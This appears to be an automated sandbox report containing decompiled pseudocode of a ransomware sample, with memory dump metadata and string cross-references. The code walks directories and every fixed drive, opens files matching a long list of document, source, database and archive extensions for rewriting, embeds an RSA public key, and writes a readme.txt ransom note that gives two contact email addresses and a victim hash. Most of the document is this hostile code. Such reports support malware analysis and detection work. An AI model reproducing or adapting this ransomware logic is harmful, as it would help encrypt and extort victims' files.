                                                                								_t180 = E00B8A360(".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS",  &_v84);
                                                                								_t272 = _t277 + 8;
                                                                								if(_t180 == 0) {
                                                                									goto L83;
                                                                								}
                                                                								_t207 = "readme.txt";
                                                                								_t181 =  &(_v5620.cFileName);
                                                                								while(1) {
                                                                									_t235 =  *_t181;
                                                                									if(_t235 !=  *_t207) {
                                                                										break;
                                                                									}
                                                                									if(_t235 == 0) {
                                                                										L36:
                                                                										_t181 = 0;
                                                                										L38:
                                                                										if(_t181 == 0) {
                                                                											goto L83;
                                                                										}
                                                                										E00B8BB40(_t261,  &_v2692, 0, 0x514);
                                                                										_t278 = _t272 + 0xc;
                                                                										_t183 = _t265;
                                                                										_t248 = _t183 + 1;
                                                                										do {
                                                                											_t228 =  *_t183;
                                                                											_t183 = _t183 + 1;
                                                                										} while (_t228 != 0);
                                                                										if( *((char*)(_t183 - _t248 + _t265 - 1)) == 0x5c) {
                                                                											L46:
                                                                											_t235 =  &(_v5620.cFileName);
                                                                											_push( &(_v5620.cFileName));
                                                                											_push(_t265);
                                                                											_push("%s%s");
                                                                											_push( &_v2692);
                                                                											L47:
                                                                											E00B89C35(_t261, _t265);
                                                                											_v8 = 0;
                                                                											_t207 =  &_v2692;
                                                                											_t187 = L00B8A96D( &_v2692, "rb+"); // executed
                                                                											_t272 = _t278 + 0x18;
                                                                											_t313 = _t187;
                                                                											if(_t187 != 0) {
                                                                												_push(_t187); // executed
                                                                												E00B8B1A7(_t201, _t235, _t261, _t265, _t313); // executed
                                                                												_t262 = _v5628;
                                                                												E00B8BB40(_v5628, _v5628, 0, 0x100000);
                                                                												E00B8BB40(_v5628, _v5632, 0, 0x100000);
                                                                												_t235 = _a12;
                                                                												_t201 = _v5636;
                                                                												E00AB15D0(_v5636,  &_v2692, _a12, _t262, _v5632);
                                                                												_t272 = _t272 + 0x28;
                                                                											}
                                                                											_v8 = 0xfffffffe;
                                                                											goto L83;
                                                                										}
                                                                										_t192 = _t265;
                                                                										_t235 = _t192 + 1;
                                                                										do {
                                                                											_t229 =  *_t192;
                                                                											_t192 = _t192 + 1;
                                                                										} while (_t229 != 0);
                                                                										if( *((char*)(_t192 - _t235 + _t265 - 1)) == 0x2f) {
                                                                											goto L46;
                                                                										}
                                                                										_push( &(_v5620.cFileName));
                                                                										_push(_t265);
                                                                										_push("%s\\%s");
                                                                										_push( &_v2692);
                                                                										goto L47;
                                                                									}
                                                                									_t235 =  *((intOrPtr*)(_t181 + 1));
                                                                									if(_t235 != _t207[1]) {
                                                                										break;
                                                                									}
                                                                									_t181 = _t181 + 2;
                                                                									_t207 =  &(_t207[2]);
                                                                									if(_t235 != 0) {
                                                                										continue;
                                                                									}
                                                                									goto L36;
                                                                								}
                                                                								asm("sbb eax, eax");
                                                                								asm("sbb eax, 0xffffffff");
                                                                								goto L38;
                                                                							}
                                                                							do {
                                                                								_t196 = E00B8AFFA( *((char*)(_t267 + _t261 - 0x50)));
                                                                								_t277 = _t277 + 4;
                                                                								 *((char*)(_t267 + _t261 - 0x50)) = _t196;
                                                                								_t261 = _t261 + 1;
                                                                								_t197 =  &_v84;
                                                                								_t235 = _t197 + 1;
                                                                								do {
                                                                									_t231 =  *_t197;
                                                                									_t197 = _t197 + 1;
                                                                								} while (_t231 != 0);
                                                                							} while (_t261 < _t197 - _t235);
                                                                							goto L30;
                                                                						}
                                                                						_t176 = 0x32;
                                                                						goto L23;
                                                                						L83:
                                                                						_t253 = _v5644;
                                                                						_t130 = FindNextFileA(_t253,  &_v5620); // executed
                                                                					} while (_t130 != 0);
                                                                					if(_t253 != 0xffffffff) {
                                                                						_t130 = FindClose(_t253); // executed
                                                                					}
                                                                					goto L86;
                                                                				}
                                                                				_t199 = _t265;
                                                                				_t249 = _t199 + 1;
                                                                				do {
                                                                					_t232 =  *_t199;
                                                                					_t199 = _t199 + 1;
                                                                				} while (_t232 != 0);
                                                                				if( *((char*)(_t265 + _t199 - _t249 - 1)) == 0x2f) {
                                                                					goto L7;
                                                                				}
                                                                				_push("*.*");
                                                                				_push(_t265);
                                                                				_push("%s\\%s");
                                                                				_push( &_v5300);
                                                                				goto L8;
                                                                			}









































































































                                                                0x00ab1643
                                                                0x00ab1645
                                                                0x00ab164a
                                                                0x00ab1655
                                                                0x00ab1656
                                                                0x00ab165e
                                                                0x00ab1663
                                                                0x00ab1668
                                                                0x00ab166b
                                                                0x00ab166d
                                                                0x00ab1670
                                                                0x00ab1672
                                                                0x00ab1673
                                                                0x00ab1677
                                                                0x00ab167d
                                                                0x00ab1683
                                                                0x00ab1689
                                                                0x00ab168c
                                                                0x00ab1695
                                                                0x00ab169e
                                                                0x00ab16a4
                                                                0x00ab16bc
                                                                0x00ab16c4
                                                                0x00ab16d9
                                                                0x00ab16de
                                                                0x00ab16e1
                                                                0x00ab16e8
                                                                0x00ab16ea
                                                                0x00ab16f0
                                                                0x00ab16f0
                                                                0x00ab16f2
                                                                0x00ab16f3
                                                                0x00ab16fe
                                                                0x00ab1729
                                                                0x00ab1729
                                                                0x00ab172e
                                                                0x00ab172f
                                                                0x00ab173a
                                                                0x00ab173b
                                                                0x00ab173b
                                                                0x00ab1740
                                                                0x00ab1743
                                                                0x00ab174a
                                                                0x00ab1751
                                                                0x00ab1757
                                                                0x00ab1760
                                                                0x00ab1beb
                                                                0x00ab1bee
                                                                0x00ab1bf6
                                                                0x00ab1bf7
                                                                0x00ab1bf8
                                                                0x00ab1c06
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1766
                                                                0x00ab1766
                                                                0x00ab176d
                                                                0x00ab19ac
                                                                0x00ab19b3
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab19b9
                                                                0x00ab19bb
                                                                0x00ab19c0
                                                                0x00ab19c0
                                                                0x00ab19c2
                                                                0x00ab19c3
                                                                0x00ab19c3
                                                                0x00ab19c7
                                                                0x00ab19c7
                                                                0x00ab19c9
                                                                0x00ab19cb
                                                                0x00ab19d1
                                                                0x00ab19d1
                                                                0x00ab19d4
                                                                0x00ab19d4
                                                                0x00ab19d6
                                                                0x00ab19d7
                                                                0x00ab19d7
                                                                0x00ab19df
                                                                0x00ab19e4
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab19f8
                                                                0x00ab1a0e
                                                                0x00ab1a1c
                                                                0x00ab1a2a
                                                                0x00ab1a2f
                                                                0x00ab1a32
                                                                0x00ab1a40
                                                                0x00ab1a40
                                                                0x00ab1a47
                                                                0x00ab1a4e
                                                                0x00ab1a4f
                                                                0x00ab1a4f
                                                                0x00ab1a53
                                                                0x00ab1a53
                                                                0x00ab1a55
                                                                0x00ab1a5b
                                                                0x00ab1a60
                                                                0x00ab1a60
                                                                0x00ab1a62
                                                                0x00ab1a63
                                                                0x00ab1a63
                                                                0x00ab1a67
                                                                0x00ab1a69
                                                                0x00ab1a9f
                                                                0x00ab1a9f
                                                                0x00ab1aa1
                                                                0x00ab1aa8
                                                                0x00ab1ae1
                                                                0x00ab1ae7
                                                                0x00ab1ae7
                                                                0x00ab1ae8
                                                                0x00ab1ae8
                                                                0x00ab1aeb
                                                                0x00ab1aec
                                                                0x00ab1aec
                                                                0x00ab1af0
                                                                0x00ab1af7
                                                                0x00ab1afa
                                                                0x00ab1b00
                                                                0x00ab1bbc
                                                                0x00ab1bbc
                                                                0x00000000
                                                                0x00ab1bbc
                                                                0x00ab1b12
                                                                0x00ab1b17
                                                                0x00ab1b1a
                                                                0x00ab1b1c
                                                                0x00ab1b90
                                                                0x00ab1ba6
                                                                0x00ab1bad
                                                                0x00ab1bb4
                                                                0x00ab1bb9
                                                                0x00000000
                                                                0x00ab1bb9
                                                                0x00ab1b24
                                                                0x00ab1b24
                                                                0x00ab1b25
                                                                0x00ab1b25
                                                                0x00ab1b28
                                                                0x00ab1b29
                                                                0x00ab1b29
                                                                0x00ab1b2d
                                                                0x00ab1b33
                                                                0x00ab1b35
                                                                0x00ab1b3b
                                                                0x00ab1b3e
                                                                0x00ab1b44
                                                                0x00ab1b53
                                                                0x00ab1b58
                                                                0x00ab1b5b
                                                                0x00ab1b5d
                                                                0x00ab1b5f
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1b61
                                                                0x00ab1b70
                                                                0x00ab1b70
                                                                0x00ab1b72
                                                                0x00ab1b73
                                                                0x00ab1b73
                                                                0x00ab1b77
                                                                0x00ab1b77
                                                                0x00ab1b79
                                                                0x00ab1b7a
                                                                0x00ab1b7b
                                                                0x00ab1b7d
                                                                0x00ab1b82
                                                                0x00ab1b87
                                                                0x00ab1b88
                                                                0x00ab1b8d
                                                                0x00000000
                                                                0x00ab1b8d
                                                                0x00ab1aaa
                                                                0x00ab1ab0
                                                                0x00ab1ab1
                                                                0x00ab1ab8
                                                                0x00ab1abd
                                                                0x00ab1ac0
                                                                0x00ab1ac2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ac4
                                                                0x00ab1acd
                                                                0x00ab1ad3
                                                                0x00ab1ad6
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ad8
                                                                0x00ab1ada
                                                                0x00000000
                                                                0x00ab1ada
                                                                0x00ab1a70
                                                                0x00ab1a79
                                                                0x00ab1a7e
                                                                0x00ab1a81
                                                                0x00ab1a88
                                                                0x00ab1a88
                                                                0x00ab1a89
                                                                0x00ab1a8f
                                                                0x00ab1a92
                                                                0x00ab1a92
                                                                0x00ab1a94
                                                                0x00ab1a95
                                                                0x00ab1a95
                                                                0x00ab1a9b
                                                                0x00ab1a9b
                                                                0x00000000
                                                                0x00ab1a70
                                                                0x00ab177c
                                                                0x00ab1781
                                                                0x00ab1784
                                                                0x00ab1788
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab178e
                                                                0x00ab1790
                                                                0x00ab1793
                                                                0x00ab1793
                                                                0x00ab1795
                                                                0x00ab1796
                                                                0x00ab179c
                                                                0x00ab179e
                                                                0x00ab17a4
                                                                0x00ab17a7
                                                                0x00ab17a7
                                                                0x00ab17a9
                                                                0x00ab17aa
                                                                0x00ab17b7
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab17c5
                                                                0x00ab17ca
                                                                0x00ab17cd
                                                                0x00ab17cf
                                                                0x00ab17cf
                                                                0x00ab17d2
                                                                0x00ab17d2
                                                                0x00ab17d4
                                                                0x00ab17d5
                                                                0x00ab17de
                                                                0x00ab17e7
                                                                0x00ab17e9
                                                                0x00ab17e9
                                                                0x00ab17f0
                                                                0x00ab17f0
                                                                0x00ab17f2
                                                                0x00ab17f3
                                                                0x00ab17f3
                                                                0x00ab17f7
                                                                0x00ab17f7
                                                                0x00ab17f9
                                                                0x00ab17ff
                                                                0x00ab1804
                                                                0x00ab1807
                                                                0x00ab1809
                                                                0x00ab180c
                                                                0x00ab1810
                                                                0x00ab1810
                                                                0x00ab1812
                                                                0x00ab1813
                                                                0x00ab1819
                                                                0x00ab184d
                                                                0x00ab184d
                                                                0x00ab1856
                                                                0x00ab185b
                                                                0x00ab1860
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1866
                                                                0x00ab186b
                                                                0x00ab1871
                                                                0x00ab1871
                                                                0x00ab1875
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1879
                                                                0x00ab188d
                                                                0x00ab188d
                                                                0x00ab1896
                                                                0x00ab1898
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab18ac
                                                                0x00ab18b1
                                                                0x00ab18b4
                                                                0x00ab18b6
                                                                0x00ab18c0
                                                                0x00ab18c0
                                                                0x00ab18c2
                                                                0x00ab18c3
                                                                0x00ab18ce
                                                                0x00ab18fb
                                                                0x00ab18fb
                                                                0x00ab1901
                                                                0x00ab1902
                                                                0x00ab1903
                                                                0x00ab190e
                                                                0x00ab190f
                                                                0x00ab190f
                                                                0x00ab1917
                                                                0x00ab1923
                                                                0x00ab192a
                                                                0x00ab192f
                                                                0x00ab1932
                                                                0x00ab1934
                                                                0x00ab1936
                                                                0x00ab1937
                                                                0x00ab1946
                                                                0x00ab194d
                                                                0x00ab1963
                                                                0x00ab196d
                                                                0x00ab1977
                                                                0x00ab197d
                                                                0x00ab1982
                                                                0x00ab1982
                                                                0x00ab1985
                                                                0x00000000
                                                                0x00ab1985
                                                                0x00ab18d0
                                                                0x00ab18d2
                                                                0x00ab18d5
                                                                0x00ab18d5
                                                                0x00ab18d7
                                                                0x00ab18d8
                                                                0x00ab18e3
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab18eb
                                                                0x00ab18ec
                                                                0x00ab18ed
                                                                0x00ab18f8
                                                                0x00000000
                                                                0x00ab18f8
                                                                0x00ab187b
                                                                0x00ab1881
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1883
                                                                0x00ab1886
                                                                0x00ab188b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab188b
                                                                0x00ab1891
                                                                0x00ab1893
                                                                0x00000000
                                                                0x00ab1893
                                                                0x00ab1820
                                                                0x00ab1826
                                                                0x00ab182b
                                                                0x00ab182e
                                                                0x00ab1832
                                                                0x00ab1833
                                                                0x00ab1836
                                                                0x00ab1840
                                                                0x00ab1840
                                                                0x00ab1842
                                                                0x00ab1843
                                                                0x00ab1849
                                                                0x00000000
                                                                0x00ab1820
                                                                0x00ab17e0
                                                                0x00000000
                                                                0x00ab1bc3
                                                                0x00ab1bca
                                                                0x00ab1bd1
                                                                0x00ab1bd7
                                                                0x00ab1be2
                                                                0x00ab1be5
                                                                0x00ab1be5
                                                                0x00000000
                                                                0x00ab1be2
                                                                0x00ab1700
                                                                0x00ab1702
                                                                0x00ab1705
                                                                0x00ab1705
                                                                0x00ab1707
                                                                0x00ab1708
                                                                0x00ab1713
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1715
                                                                0x00ab171a
                                                                0x00ab171b
                                                                0x00ab1726
                                                                0x00000000

                                                                APIs
                                                                Strings
                                                                • *.*, xrefs: 00AB1715, 00AB1729
                                                                • .TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE, xrefs: 00AB1851
                                                                • ., xrefs: 00AB19AC
                                                                • Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6, xrefs: 00AB1B61, 00AB1B7A, 00AB1B7D
                                                                • %s%s, xrefs: 00AB172F, 00AB1903, 00AB1A1E
                                                                • %s\%s, xrefs: 00AB171B, 00AB18ED
                                                                • rb+, xrefs: 00AB191E
                                                                • /readme.txt, xrefs: 00AB1B2D
                                                                • DESKTOP, xrefs: 00AB1B06
                                                                • readme.txt, xrefs: 00AB1866
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset$FileFindFirst_sprintf_strncpy_strrchr
                                                                • String ID: %s%s$%s\%s$*.*$.$.TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE$/readme.txt$DESKTOP$Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6$rb+$readme.txt
                                                                • API String ID: 2919901432-2983336216
                                                                • Opcode ID: 747fdebd0b1049697e37973ab70340c9f68d883f73c737ce2d382021d9efe491
                                                                • Instruction ID: 49a743adeb8c9b6989bbb1df7253a9dcf9ca7bf8d0d5c05fddbbccfc3c887754
                                                                • Opcode Fuzzy Hash: 747fdebd0b1049697e37973ab70340c9f68d883f73c737ce2d382021d9efe491
                                                                • Instruction Fuzzy Hash: 50F1587190424A9FDB20DB64CC65FF6B7FDAF81340F4841E8E44A9B252FB719A49CB90
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 85%
                                                                			E00AB1D10(void* __ecx, char __edx) {
                                                                				signed int _v8;
                                                                				char _v267;
                                                                				char _v268;
                                                                				intOrPtr _v276;
                                                                				signed int _v280;
                                                                				intOrPtr _v284;
                                                                				signed int _v288;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				signed int _t36;
                                                                				int _t38;
                                                                				intOrPtr _t42;
                                                                				signed int _t43;
                                                                				intOrPtr _t46;
                                                                				void* _t49;
                                                                				char* _t53;
                                                                				signed int _t58;
                                                                				long _t63;
                                                                				long _t66;
                                                                				intOrPtr _t67;
                                                                				intOrPtr* _t77;
                                                                				intOrPtr* _t81;
                                                                				signed int _t82;
                                                                				signed int _t85;
                                                                				char _t88;
                                                                				void* _t89;
                                                                				void* _t90;
                                                                				intOrPtr _t99;
                                                                				intOrPtr _t100;
                                                                				void* _t101;
                                                                				void* _t102;
                                                                				int _t104;
                                                                				signed int _t106;
                                                                				signed int _t109;
                                                                				void* _t110;
                                                                				void* _t113;
                                                                				signed int _t114;
                                                                				void* _t115;
                                                                				signed int _t117;
                                                                				signed int _t118;
                                                                				signed int _t120;
                                                                				signed int _t122;
                                                                				void* _t123;
                                                                				void* _t124;
                                                                				void* _t127;
                                                                
                                                                				_t103 = __edx;
                                                                				_t90 = __ecx;
                                                                				_t120 = (_t118 & 0xfffffff8) - 0x11c;
                                                                				_t36 =  *0xbe5970; // 0xe6e1d076
                                                                				_v8 = _t36 ^ _t120;
                                                                				_t38 =  *0xbe9eec; // 0x0
                                                                				_t88 = 0;
                                                                				 *0xbe9ed4 = 4;
                                                                				 *0xbe9edc = 0;
                                                                				 *0xbe9ee8 = 0;
                                                                				 *0xbe9ed8 = 1;
                                                                				 *0xbe9ee4 = 0;
                                                                				SetServiceStatus(_t38, 0xbe9ed0);
                                                                				_v276 = E00AD2350(E00AB2F00());
                                                                				_t42 = E00B89D40(_t90, _t127, 0x100011, 1); // executed
                                                                				_t112 = _t42;
                                                                				_v284 = _t112;
                                                                				_t43 = E00B89D40(_t90, _t127, 0x100011, 1); // executed
                                                                				_t109 = _t43;
                                                                				_v280 = _t109;
                                                                				E00AB1000(_t90);
                                                                				_push( *0xdea8e8);
                                                                				E00B89C35(_t109, _t112, "Your file has been encrypted!						 If you want to decrypt, please contact us.						 konedieyp@airmail.cc or uenwonken@memail.com						 And please send me the following hash!						 638428e5021d4ae247b21acf9c0bf6f6", "Your file has been encrypted!\n\t\t\t\t\t\t If you want to decrypt, please contact us.\n\t\t\t\t\t\t %s\n\t\t\t\t\t\t And please send me the following hash!\n\t\t\t\t\t\t %s\n", 0xbe72a8);
                                                                				_t122 = _t120 + 0x24;
                                                                				if(_t112 != 0 && _t109 != 0) {
                                                                					E00B8BB40(_t109, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x41, 0x100000);
                                                                					_t123 = _t122 + 0xc;
                                                                					_v288 = 0;
                                                                					_t53 = "WINDIR";
                                                                					_t114 = 0;
                                                                					while(1) {
                                                                						_t131 =  *_t53 - _t88;
                                                                						if( *_t53 == _t88) {
                                                                							break;
                                                                						}
                                                                						_push(_t53);
                                                                						_t81 = E00B8B0AD(_t88, _t103, _t109, _t114, _t131);
                                                                						_t6 = _t114 + 0xde9ef0; // 0xde9ef0
                                                                						_t109 = _t6;
                                                                						_t123 = _t123 + 4;
                                                                						_t106 = _t109;
                                                                						do {
                                                                							_t100 =  *_t81;
                                                                							 *_t106 = _t100;
                                                                							_t81 = _t81 + 1;
                                                                							_t106 = _t106 + 1;
                                                                						} while (_t100 != 0);
                                                                						_t82 = _t109;
                                                                						_t115 = 0;
                                                                						_t7 = _t82 + 1; // 0xde9ef1
                                                                						_t103 = _t7;
                                                                						do {
                                                                							_t101 =  *_t82;
                                                                							_t82 = _t82 + 1;
                                                                						} while (_t101 != 0);
                                                                						if(_t82 != _t103) {
                                                                							do {
                                                                								 *((char*)(_t109 + _t115)) = E00B8AFFA( *((char*)(_t109 + _t115)));
                                                                								_t85 = _t109;
                                                                								_t123 = _t123 + 4;
                                                                								_t115 = _t115 + 1;
                                                                								_t10 = _t85 + 1; // 0xde9ef1
                                                                								_t103 = _t10;
                                                                								do {
                                                                									_t102 =  *_t85;
                                                                									_t85 = _t85 + 1;
                                                                								} while (_t102 != 0);
                                                                							} while (_t115 < _t85 - _t103);
                                                                						}
                                                                						_t117 = _v288 + 1;
                                                                						_v288 = _t117;
                                                                						_t114 = _t117 * 0xff;
                                                                						_t53 = _t114 + "WINDIR";
                                                                						if(_t53 != _t88) {
                                                                							continue;
                                                                						}
                                                                						break;
                                                                					}
                                                                					_v288 = _t88;
                                                                					_t112 = E00AB67F0("-----BEGIN RSA PUBLIC KEY-----\nMIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+\nC6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ube\nVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1\nCJQSg6Moblo2NVF50AK3cIG2/lVh82ebgedXsbVJpjVMc03aTPWV4sNWjTO3o+aX\n6Z+VGVLjuvcpfLDZb3tYppkqZzAHfrCt7lV0qO47FV8sFCltuoNiNGKiP084KI7b\n3XEJepbSJB3UW4o4C4zHFrqmdyOoUlnqcQIBAw==\n-----END RSA PUBLIC KEY-----\n", 0xffffffff);
                                                                					_v288 = E00AB70B0(_t54,  &_v288, _t88, _t88);
                                                                					E00AB4F50(_t54);
                                                                					_t58 = _v288;
                                                                					_t124 = _t123 + 0x1c;
                                                                					_t109 = _t58;
                                                                					if(_t58 == _t88) {
                                                                						_push("create rsa error\n");
                                                                						E00B8A7E4(_t88, _t103, _t109, _t112, __eflags);
                                                                					} else {
                                                                						_t63 = GetLogicalDrives(); // executed
                                                                						if(_t63 > 0) {
                                                                							_v268 = _t88;
                                                                							E00B8BB40(_t109,  &_v267, _t88, 0xfe);
                                                                							_t124 = _t124 + 0xc;
                                                                							_t103 =  &_v268;
                                                                							_t66 = GetLogicalDriveStringsA(0xff,  &_v268); // executed
                                                                							if(_t66 != 0) {
                                                                								do {
                                                                									_t67 =  *((intOrPtr*)(_t124 + _t88 + 0x20));
                                                                									if(_t67 < 0x43 || _t67 > 0x5a) {
                                                                										if(_t67 >= 0x63 && _t67 <= 0x7a) {
                                                                											goto L20;
                                                                										}
                                                                									} else {
                                                                										L20:
                                                                										E00B89C35(_t109, _t112,  &_v268, "%c:\\", _t67);
                                                                										_t112 = GetDriveTypeA;
                                                                										_t124 = _t124 + 0xc;
                                                                										_t103 =  &_v268;
                                                                										if(GetDriveTypeA( &_v268) != 5 && GetDriveTypeA( &_v268) != 0) {
                                                                											E00AB1640(_t109,  &_v268, 1, _v276, _v284, _v280); // executed
                                                                											_t103 =  *((char*)(_t124 + _t88 + 0x38));
                                                                											_push("readme.txt");
                                                                											E00B89C35(_t109, GetDriveTypeA, 0xdea8f0, "%c:\\%s",  *((char*)(_t124 + _t88 + 0x38)));
                                                                											_t112 = L00B8A96D(0xdea8f0, "w+");
                                                                											_t124 = _t124 + 0x30;
                                                                											if(_t112 != 0) {
                                                                												_t77 = 0xce9ef0;
                                                                												_t103 = 0xce9ef1;
                                                                												do {
                                                                													_t99 =  *_t77;
                                                                													_t77 = _t77 + 1;
                                                                												} while (_t99 != 0);
                                                                												_push(_t112);
                                                                												_t78 = _t77 - 0xce9ef1;
                                                                												_push(_t77 - 0xce9ef1);
                                                                												_push(1);
                                                                												_push("Your file has been encrypted!						 If you want to decrypt, please contact us.						 konedieyp@airmail.cc or uenwonken@memail.com						 And please send me the following hash!						 638428e5021d4ae247b21acf9c0bf6f6");
                                                                												E00B8ADA3(_t88, 0xce9ef1, _t109, _t112, _t78);
                                                                												_push(_t112);
                                                                												E00B8B1A7(_t88, 0xce9ef1, _t109, _t112, _t78);
                                                                												_t124 = _t124 + 0x14;
                                                                											}
                                                                										}
                                                                									}
                                                                									_t88 = _t88 + 1;
                                                                								} while (_t88 < 0xff);
                                                                								_t88 = 0;
                                                                							}
                                                                						}
                                                                						E00AB5630(_t109, _t109);
                                                                					}
                                                                					_push(_v280);
                                                                					E00B89CB2(_t88, _t103, _t109, _t112, 0);
                                                                					_push(_v284);
                                                                					E00B89CB2(_t88, _t103, _t109, _t112, 0);
                                                                					_t122 = _t124 + 0xc;
                                                                				}
                                                                				_t46 =  *0xdea8e8;
                                                                				_t154 = _t46 - _t88;
                                                                				if(_t46 != _t88) {
                                                                					_push(_t46);
                                                                					E00B89CB2(_t88, _t103, _t109, _t112, _t154);
                                                                					_t122 = _t122 + 4;
                                                                				}
                                                                				_t104 =  *0xbe9eec; // 0x0
                                                                				 *0xbe9ed4 = 1;
                                                                				 *0xbe9edc = _t88;
                                                                				 *0xbe9ee8 = _t88;
                                                                				 *0xbe9ed8 = 1;
                                                                				 *0xbe9ee4 = _t88;
                                                                				SetServiceStatus(_t104, 0xbe9ed0);
                                                                				_t49 = E00AB1C80();
                                                                				_pop(_t110);
                                                                				_pop(_t113);
                                                                				_pop(_t89);
                                                                				return E00B89C26(_t49, _t89, _v8 ^ _t122, _t104, _t110, _t113);
                                                                			}


















































                                                                0x00ab1d10
                                                                0x00ab1d10
                                                                0x00ab1d16
                                                                0x00ab1d1c
                                                                0x00ab1d23
                                                                0x00ab1d2a
                                                                0x00ab1d32
                                                                0x00ab1d3a
                                                                0x00ab1d44
                                                                0x00ab1d4a
                                                                0x00ab1d50
                                                                0x00ab1d5a
                                                                0x00ab1d60
                                                                0x00ab1d7b
                                                                0x00ab1d7f
                                                                0x00ab1d84
                                                                0x00ab1d8d
                                                                0x00ab1d91
                                                                0x00ab1d96
                                                                0x00ab1d98
                                                                0x00ab1d9c
                                                                0x00ab1da7
                                                                0x00ab1db7
                                                                0x00ab1dbc
                                                                0x00ab1dc1
                                                                0x00ab1ddb
                                                                0x00ab1de0
                                                                0x00ab1de3
                                                                0x00ab1de7
                                                                0x00ab1dec
                                                                0x00ab1df0
                                                                0x00ab1df0
                                                                0x00ab1df2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1df4
                                                                0x00ab1df5
                                                                0x00ab1dfa
                                                                0x00ab1dfa
                                                                0x00ab1e00
                                                                0x00ab1e03
                                                                0x00ab1e05
                                                                0x00ab1e05
                                                                0x00ab1e07
                                                                0x00ab1e09
                                                                0x00ab1e0a
                                                                0x00ab1e0b
                                                                0x00ab1e0f
                                                                0x00ab1e11
                                                                0x00ab1e13
                                                                0x00ab1e13
                                                                0x00ab1e16
                                                                0x00ab1e16
                                                                0x00ab1e18
                                                                0x00ab1e19
                                                                0x00ab1e1f
                                                                0x00ab1e21
                                                                0x00ab1e2b
                                                                0x00ab1e2e
                                                                0x00ab1e30
                                                                0x00ab1e33
                                                                0x00ab1e34
                                                                0x00ab1e34
                                                                0x00ab1e37
                                                                0x00ab1e37
                                                                0x00ab1e39
                                                                0x00ab1e3a
                                                                0x00ab1e40
                                                                0x00ab1e21
                                                                0x00ab1e48
                                                                0x00ab1e49
                                                                0x00ab1e4d
                                                                0x00ab1e53
                                                                0x00ab1e5b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1e5b
